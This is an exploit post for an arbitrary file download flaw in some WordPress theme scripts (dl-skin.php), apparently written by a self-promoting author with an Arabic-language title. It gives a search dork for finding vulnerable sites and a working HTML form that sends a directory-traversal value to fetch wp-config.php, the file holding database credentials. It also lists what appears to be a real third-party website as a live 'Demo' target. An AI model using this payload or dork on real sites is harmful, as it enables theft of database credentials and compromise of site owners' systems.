Wordpress Arbitrary File Download(ثغرة سحب ملف الكونفج)

# Exploit Title : Wordpress Arbitrary File Download(ثغرة سحب ملف الكونفج)
# Dork : wp-content/themes/ /lib/scripts/
# Tested on: [ BackBox ]
# MyChannel Youtube : https://www.youtube.com/channel/UCPRRAzu8dMWxChn-RruC-eg/videos
# Myblog : http://kader-information.blogspot.com/
#Link video:https://www.youtube.com/watch?v=DbtO4vP9pJU&feature=youtu.be
######################
# [+] DESCRIPTION :
######################
+ 1.- Use Dork
+ 2.- Download Exploit File Edit it
+ 3.- Edit: http://localhost/wp-content/themes/bonkersbeat/lib/scripts/dl-skin.php
+ 4.- Edit: the value you want To Download
######################
# [+] Exploit:
######################
<html>
<body>
<form action="http://localhost/wp-content/themes/awake/lib/scripts/dl-skin.php" method="post">
Download:<input type="text" name="_mysite_download_skin" value="../../../../../wp-config.php"><br>
<input type="submit">
</form>
</body>
</html>
######################
# [+]Demo:

http://www.ccriverrun.com/wp-content/themes/awake/lib/scripts/dl-skin.php


subscribe for my channel and page in facebook

# My Blogger : http://kader-information.blogspot.com/

# Page FacebOOk : https://www.facebook.com/AnonymousPalestine.vip

By <3